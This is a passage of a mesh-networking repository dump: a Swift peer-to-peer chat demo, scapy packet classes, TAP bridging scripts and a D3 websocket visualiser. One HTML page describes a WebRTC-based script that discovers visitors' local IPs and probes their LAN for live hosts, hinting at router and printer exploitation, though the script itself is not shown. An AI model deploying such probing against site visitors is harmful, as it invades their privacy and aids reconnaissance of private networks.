devicesChanged(manager: MESHPManager, connectedDevices: [MCPeerID]) { 29 | print("[√] Devices", connectedDevices.map{$0.displayName}) 30 | let new_devices = Set(connectedDevices).subtracting(self.known_devices) 31 | for device in new_devices { 32 | manager.send(data: "Hi new guy \(device.displayName)!", to: device) 33 | } 34 | } 35 | func recv(manager: MESHPManager, data: String, from: MCPeerID) { 36 | print("[>] RECV: \(data) from \(from.displayName)") 37 | } 38 | } 39 | 40 | class MESHPManager: NSObject { 41 | 42 | private let service_name = "MESP" // bonjour service id 43 | 44 | private let myPeerId = MCPeerID(displayName: "\(Host.current().localizedName!)-\(instance_id)") 45 | 46 | private let advertiser: MCNearbyServiceAdvertiser 47 | private let browser: MCNearbyServiceBrowser 48 | 49 | var delegate: MESHPManagerDelegate 50 | 51 | lazy var session : MCSession = { 52 | let session = MCSession(peer: self.myPeerId, securityIdentity: nil, encryptionPreference: .required) 53 | session.delegate = self 54 | return session 55 | }() 56 | 57 | override init() { 58 | self.advertiser = MCNearbyServiceAdvertiser(peer: myPeerId, discoveryInfo: nil, serviceType: service_name) 59 | self.browser = MCNearbyServiceBrowser(peer: myPeerId, serviceType: service_name) 60 | self.delegate = MESHPManagerDelegate() 61 | 62 | super.init() 63 | 64 | self.advertiser.delegate = self 65 | self.advertiser.startAdvertisingPeer() 66 | 67 | self.browser.delegate = self 68 | self.browser.startBrowsingForPeers() 69 | } 70 | 71 | func send(data: String, to: MCPeerID) { 72 | print("[<] SEND: \(data) to \(to.displayName)") 73 | 74 | do { 75 | try self.session.send(data.data(using: .utf8)!, toPeers: [to], with: .reliable) 76 | } 77 | catch let error { 78 | print("[X] Error for sending: \(error)") 79 | } 80 | } 81 | 82 | deinit { 83 | self.advertiser.stopAdvertisingPeer() 84 | self.browser.stopBrowsingForPeers() 85 | } 86 | 87 | } 88 | 89 | extension MESHPManager : MCNearbyServiceAdvertiserDelegate { 90 | 91 | func advertiser(_ advertiser: MCNearbyServiceAdvertiser, didNotStartAdvertisingPeer error: Error) { 92 | print("[x] FAILED TO ADVERTISE SERVICE: \(error)") 93 | } 94 | 95 | func advertiser(_ advertiser: MCNearbyServiceAdvertiser, didReceiveInvitationFromPeer peerID: MCPeerID, withContext context: Data?, invitationHandler: @escaping (Bool, MCSession?) -> Void) { 96 | print("[+] GOT INVITE: from \(peerID.displayName)") 97 | invitationHandler(true, self.session) 98 | } 99 | 100 | } 101 | 102 | extension MESHPManager : MCNearbyServiceBrowserDelegate { 103 | func browser(_ browser: MCNearbyServiceBrowser, didNotStartBrowsingForPeers error: Error) { 104 | print("[x] FAILED TO BROWSE FOR PEERS: \(error)") 105 | } 106 | 107 | func browser(_ browser: MCNearbyServiceBrowser, foundPeer peerID: MCPeerID, withDiscoveryInfo info: [String : String]?) { 108 | print("[*] FOUND PEER: \(peerID.displayName)") 109 | print("[+] SENT INVITE: to \(peerID.displayName)") 110 | browser.invitePeer(peerID, to: self.session, withContext: nil, timeout: 10) 111 | } 112 | 113 | func browser(_ browser: MCNearbyServiceBrowser, lostPeer peerID: MCPeerID) { 114 | print("[-] LOST PEER: \(peerID.displayName)") 115 | } 116 | 117 | } 118 | 119 | extension MESHPManager : MCSessionDelegate { 120 | 121 | func session(_ session: MCSession, peer peerID: MCPeerID, didChange state: MCSessionState) { 122 | let states = [ 123 | 0: "disconnected", 124 | 1: "connecting", 125 | 2: "connected" 126 | ] 127 | print("[i] PEER \(peerID.displayName) CHANGED: to \(states[state.rawValue]!)") 128 | self.delegate.devicesChanged(manager: self, connectedDevices: session.connectedPeers) 129 | } 130 | 131 | func session(_ session: MCSession, didReceive data: Data, fromPeer peerID: MCPeerID) { 132 | let str = String(data: data, encoding: .utf8)! 133 | self.delegate.recv(manager: self, data: str, from: peerID) 134 | } 135 | 136 | func session(_ session: MCSession, didReceive stream: InputStream, withName streamName: String, fromPeer peerID: MCPeerID) { 137 | print("[>] RECV: (stream)") 138 | } 139 | 140 | func session(_ session: MCSession, didStartReceivingResourceWithName resourceName: String, fromPeer peerID: MCPeerID, with progress: Progress) { 141 | print("[>] RECV: (named resource)") 142 | } 143 | 144 | func session(_ session: MCSession, didFinishReceivingResourceWithName resourceName: String, fromPeer peerID: MCPeerID, at localURL: URL, withError error: Error?) { 145 | print("[>] RECV: (named resource)") 146 | } 147 | 148 | } 149 | 150 | 151 | let manager = MESHPManager() 152 | print("You are \(instance_id). Welcome to Mesh Chat!") 153 | 154 | let shouldKeepRunning = true 155 | 156 | RunLoop.main.run(until: Date(timeIntervalSinceNow: 60)) 157 | 158 | // let rl = RunLoop.main 159 | // while shouldKeepRunning && rl.run(mode: .defaultRunLoopMode, before: .distantFuture) { 160 | // print("input>") 161 | // // let response = readLine()! 162 | // print("got> \(response)") 163 | // } 164 | 165 | -------------------------------------------------------------------------------- /misc/protocols.py: -------------------------------------------------------------------------------- 1 | from scapy.all import Packet, Ether, TCP, StrField, ShortField, XByteField, IntEnumField 2 | 3 | 4 | class MeshIP(Packet): 5 | name = 'MeshIP' 6 | fields_desc = [ 7 | ShortField('source', None), 8 | ShortField('target', None), 9 | ] 10 | 11 | 12 | class MeshARP(Packet): 13 | name = 'MeshARP' 14 | fields_desc = [ 15 | IntEnumField('mode', 1, 16 | {1: 'QUERY', 2: 'ANNOUNCE'} 17 | ), 18 | ShortField('target', 5), 19 | ] 20 | 21 | 22 | class HumanARP(Packet): 23 | name = 'HumanARP' 24 | fields_desc = [ 25 | IntEnumField('mode', 1, 26 | {1: 'QUERY', 2: 'ANNOUNCE'} 27 | ), 28 | ShortField('target', 5), 29 | ] 30 | 31 | class HumanIRC(Packet): 32 | name = 'HumanIRC' 33 | fields_desc = [ 34 | StrField('action', ''), 35 | ] 36 | 37 | 38 | if __name__ == '__main__': 39 | test_packet = (Ether() / 40 | MeshIP(source=0, target=2) / 41 | TCP() / 42 | 'hi') 43 | 44 | test_packet.show() 45 | print(bytes(test_packet)) 46 | 47 | -------------------------------------------------------------------------------- /misc/requirements.txt: -------------------------------------------------------------------------------- 1 | bottle 2 | scapy 3 | dnet 4 | mesh-networking 5 | -------------------------------------------------------------------------------- /misc/static/css/style.css: -------------------------------------------------------------------------------- 1 | rect { 2 | fill: none; 3 | pointer-events: all; 4 | } 5 | 6 | .node { 7 | fill: #eee; 8 | } 9 | 10 | .activenode { 11 | 12 | fill: #0ff; 13 | } 14 | 15 | .cursor { 16 | fill: none; 17 | stroke: brown; 18 | pointer-events: none; 19 | } 20 | 21 | .link { 22 | stroke: #666; 23 | stroke-width: 1.5px; 24 | } 25 | 26 | body { 27 | background: #000; 28 | } 29 | 30 | body.connected { 31 | background: #443344; 32 | } -------------------------------------------------------------------------------- /misc/static/enumhosts.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 20 | 153 | 154 | 155 |
156 |

The script on this page will attempt to find your local ip addresses, using HTML5 WebRTC, and then use that info to probe for other live hosts on your lan(s).

157 |

As provided it should work with Chrome and Firefox on Windows and OS X. Chromium on Linux does not work, Firefox reportedly does.

158 |

See this post [https://hacking.ventures/local-ip-discovery-with-html5-webrtc-security-and-privacy-risk/] for a discussion on potential security and privacy consequences. Clues: Fingerprinting, Router / Printer exploitation.

159 |

Note that reloading the page with F5 or similar tends to cause a lot of false positives. Reset the url instead.

160 |
161 |

Your local ips appear to be:

162 |
163 |
164 |

Other boxes on your LAN possibly include (this will take some time ..):

165 |
166 | 167 | 168 | -------------------------------------------------------------------------------- /misc/static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Mesh 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /misc/static/js/script.js: -------------------------------------------------------------------------------- 1 | // (function() { 2 | var socket = new WebSocket("ws://localhost:8080/websocket"); 3 | 4 | var newnodeButton = $('button#newnode'); 5 | var linkButton = $('button#link') 6 | var messageButton = $('button#message'); 7 | 8 | var status = [0, 0, 0]; 9 | 10 | var restoreState = function() { 11 | 12 | status = [0, 0, 0]; 13 | linkButton.text("Link"); 14 | messageButton.removeAttr("disabled"); 15 | }; 16 | 17 | var sendEvent = function() { 18 | 19 | if (status[0] == "link") { 20 | 21 | console.log(status); 22 | socket.send("addlink", JSON.stringify({source: status[1], target:status[2]})); 23 | status = ["link", status[2], 0]; 24 | 25 | } else if (status[0] == "message") { 26 | socket.send("message", JSON.stringify({from:status[1], to:status[2]})); 27 | restoreState(); 28 | } else { 29 | restoreState(); 30 | } 31 | }; 32 | newnodeButton.click(function (){ 33 | addnode('abc');addnode('abcd');addnode('abcde'); 34 | }); 35 | 36 | linkButton.click(function (){ 37 | 38 | if (status[0] == "link") restoreState(); 39 | else { 40 | 41 | status[0] = "link"; 42 | linkButton.text("Stop linking"); 43 | } 44 | }); 45 | 46 | messageButton.click(function (){ 47 | 48 | restoreState(); 49 | status[0] = "message"; 50 | messageButton.attr("disabled", "disabled"); 51 | }); 52 | 53 | socket.onmessage = function(msg){ 54 | var message = JSON.parse(msg.data); 55 | console.log('[WebSocket]: ' + message.message); 56 | }; 57 | 58 | var width = 960, 59 | height = 500; 60 | 61 | var fill = d3.scale.category20(); 62 | 63 | var force = d3.layout.force() 64 | .size([width, height]) 65 | .nodes([]) // initialize with no nodes 66 | .linkDistance(30) 67 | .charge(-60) 68 | .on("tick", tick); 69 | 70 | var svg = d3.select("body").append("svg") 71 | .attr("viewBox", "0 0 " + width + " " + height) 72 | .attr("preserveAspectRatio", "xMidYMid meet") 73 | .on("mousemove", mousemove); 74 | 75 | svg.append("rect") 76 | .attr("width", width) 77 | .attr("height", height); 78 | 79 | var nodes = force.nodes(), 80 | links = force.links(), 81 | node = svg.selectAll(".node"), 82 | link = svg.selectAll(".link"); 83 | 84 | var cursor = svg.append("circle") 85 | .attr("r", 30) 86 | .attr("transform", "translate(-100,-100)") 87 | .attr("class", "cursor"); 88 | 89 | restart(); 90 | 91 | function addnode(id, addr){ 92 | for(var i=0; i "+target_id+" already exists, not adding"); 128 | return; 129 | } 130 | console.log("adding link "+source_id+" => "+target_id); 131 | links.push({source: source, target: target}); 132 | restart(); 133 | } 134 | 135 | function mousemove() { 136 | cursor.attr("transform", "translate(" + d3.mouse(this) + ")"); 137 | } 138 | 139 | function nodeClick(e) { 140 | 141 | if (status[0] !== 0) { 142 | 143 | if (status[1] === 0) { 144 | status[1] = e.id; 145 | 146 | } else if (status[2] === 0) { 147 | 148 | status[2] = e.id; 149 | sendEvent(); 150 | } 151 | } 152 | 153 | console.log("Id: "+e.id+" Address: "+e.address); 154 | } 155 | 156 | function pulseNode(id, color) { 157 | var d3box = d3.select('[data-id="' + id + '"]'); 158 | d3box.transition(500) 159 | .style('fill', color) 160 | .transition().duration(10000) 161 | .style('fill', '#eee'); 162 | } 163 | 164 | function select(d) { 165 | if (d3SelectedElement) { 166 | d3SelectedElement.classed({'selected': false}); 167 | } 168 | var d3box = d3.select('[data-id="' + d._id + '"]'); 169 | d3box.classed({'selected': true}); 170 | d3SelectedElement = d3box; 171 | } 172 | 173 | function tick() { 174 | link.attr("x1", function(d) { return d.source.x; }) 175 | .attr("y1", function(d) { return d.source.y; }) 176 | .attr("x2", function(d) { return d.target.x; }) 177 | .attr("y2", function(d) { return d.target.y; }); 178 | 179 | node.attr("cx", function(d) { return d.x; }) 180 | .attr("cy", function(d) { return d.y; }); 181 | } 182 | 183 | function restart() { 184 | link = link.data(links); 185 | 186 | link.enter().insert("line", ".node") 187 | .attr("class", "link"); 188 | 189 | node = node.data(nodes); 190 | 191 | node.enter().insert("circle", ".cursor") 192 | .attr("class", "node") 193 | .attr("r", 10) 194 | .attr("data-id", keyFn) 195 | .on("mousedown", nodeClick) 196 | .call(force.drag); 197 | 198 | force.start(); 199 | } 200 | 201 | var keyFn = function(d){ return d.id; }; 202 | // })() 203 | -------------------------------------------------------------------------------- /misc/static/websocket_test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /misc/tuntap.py: -------------------------------------------------------------------------------- 1 | import os, sys, struct 2 | from select import select 3 | from scapy.all import IP 4 | from fcntl import ioctl 5 | 6 | 7 | 8 | f = os.open("/dev/tap0", os.O_RDWR) 9 | try: 10 | while 1: 11 | r = select([f],[],[])[0][0] 12 | if r == f: 13 | packet = os.read(f, 4000) 14 | # print len(packet), packet 15 | ip = IP(packet) 16 | ip.show() 17 | except KeyboardInterrupt: 18 | print "Stopped by user." 19 | -------------------------------------------------------------------------------- /misc/tuntap2.py: -------------------------------------------------------------------------------- 1 | import os,sys,getopt,struct,re,string,logging 2 | 3 | from socket import * 4 | from fcntl import ioctl 5 | from select import select 6 | 7 | from scapy.all import * 8 | 9 | TUNSETIFF = 0x400454ca 10 | IFF_TAP = 0x0002 11 | TUNMODE = IFF_TAP 12 | 13 | ETH_IFACE = "en0" 14 | TAP_IFACE = "tap0" 15 | 16 | conf.iface = ETH_IFACE 17 | 18 | # Here we capture frames on ETH0 19 | s = conf.L2listen(iface = ETH_IFACE) 20 | 21 | # Open /dev/net/tun in TAP (ether) mode (create TAP0) 22 | f = os.open("/dev/tun12", os.O_RDWR) 23 | ifs = ioctl(f, TUNSETIFF, struct.pack("16sH", "tap%d", TUNMODE)) 24 | 25 | 26 | # Speed optimization so Scapy does not have to parse payloads 27 | Ether.payload_guess=[] 28 | 29 | os.system("ifconfig en0 0.0.0.0") 30 | os.system("ifconfig tap0 192.168.40.107") 31 | os.system("ifconfig tap0 down") 32 | os.system("ifconfig tap0 hw ether 00:0c:29:7a:52:c4") 33 | os.system("ifconfig tap0 up") 34 | 35 | eth_hwaddr = get_if_hwaddr('en0') 36 | 37 | while 1: 38 | r = select([f,s],[],[])[0] #Monitor f(TAP0) and s(ETH0) at the same time to see if a frame came in. 39 | 40 | #Frames from TAP0 41 | if f in r: #If TAP0 received a frame 42 | # tuntap frame max. size is 1522 (ethernet, see RFC3580) + 4 43 | tap_frame = os.read(f,1526) 44 | tap_rcvd_frame = Ether(tap_frame[4:]) 45 | sendp(tap_rcvd_frame,verbose=0) #Send frame to ETH0 46 | 47 | #Frames from ETH0 48 | if s in r: #If ETH0 received a frame 49 | eth_frame = s.recv(1522) 50 | if eth_frame.src != eth_hwaddr: 51 | # Add Tun/Tap header to frame, convert to string and send. "\x00\x00\x00\x00" is a requirement when writing to tap interfaces. It is an identifier for the Kernel. 52 | eth_sent_frame = "\x00\x00\x00\x00" + str(eth_frame) 53 | os.write(f, eth_sent_frame) #Send frame to TAP0 54 | -------------------------------------------------------------------------------- /misc/visualize.py: -------------------------------------------------------------------------------- 1 | from bottle import request, run, route, template, Bottle, abort, static_file 2 | from gevent.pywsgi import WSGIServer 3 | from geventwebsocket import WebSocketError 4 | from geventwebsocket.handler import WebSocketHandler 5 | import simplejson as json 6 | 7 | app = Bottle() 8 | 9 | host, port = ("0.0.0.0", 8080) 10 | 11 | @app.route('/') 12 | def index(): 13 | html = 'static/index.html' 14 | print "[HTTP]: %s" % html 15 | return template(html, host=host, port=port) 16 | 17 | @app.get('/static/') 18 | def static_files(path): 19 | return static_file(path, root='static/') 20 | 21 | @app.route('/websocket_test') 22 | def index(): 23 | return template('static/websocket_test.html', host=host, port=port) 24 | 25 | @app.route('/websocket') 26 | def handle_websocket(): 27 | wsock = request.environ.get('wsgi.websocket') 28 | if not wsock: 29 | abort(400, 'Expected WebSocket request.') 30 | 31 | while True: 32 | try: 33 | message = wsock.receive() 34 | print "[WebSocket]: %s" % message 35 | wsock.send(json.dumps({'message': message})) 36 | except WebSocketError: 37 | break 38 | 39 | 40 | server = WSGIServer((host, port), app, handler_class=WebSocketHandler) 41 | print "Starting bottle WSGI + Websocket server %s:%s..." % (host, port) 42 | server.serve_forever() 43 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup 2 | 3 | SHORT_DESC = 'A library for creating flexible network topologies' 4 | LONG_DESC = 'This library helps you test large networks of nodes across physical and simulated links.' 5 | 6 | setup( 7 | name='mesh-networking', 8 | version='0.0.7', 9 | description=SHORT_DESC, 10 | long_description=LONG_DESC, 11 | 12 | url='https://github.com/pirate/mesh-networking', 13 | author='Nick Sweeting', 14 | author_email='mesh-networking@sweeting.me', 15 | license='MIT', 16 | 17 | classifiers=[ 18 | 'Topic :: Utilities', 19 | 'Topic :: System :: Networking', 20 | 21 | 'Development Status :: 3 - Alpha', 22 | 'Intended Audience :: Developers', 23 | 'License :: OSI Approved :: MIT License', 24 | 25 | 'Programming Language :: Python :: 2', 26 | 'Programming Language :: Python :: 2.6', 27 | 'Programming Language :: Python :: 2.7', 28 | 'Programming Language :: Python :: 3', 29 | 'Programming Language :: Python :: 3.2', 30 | 'Programming Language :: Python :: 3.3', 31 | 'Programming Language :: Python :: 3.4', 32 | 'Programming Language :: Python :: 3.5', 33 | 'Programming Language :: Python :: 3.6', 34 | ], 35 | keywords='networking routing mesh osi scapy udp tcp iptables irc', 36 | 37 | packages=['mesh'], 38 | test_suite='mesh.tests', 39 | install_requires=[], 40 | ) 41 | --------------------------------------------------------------------------------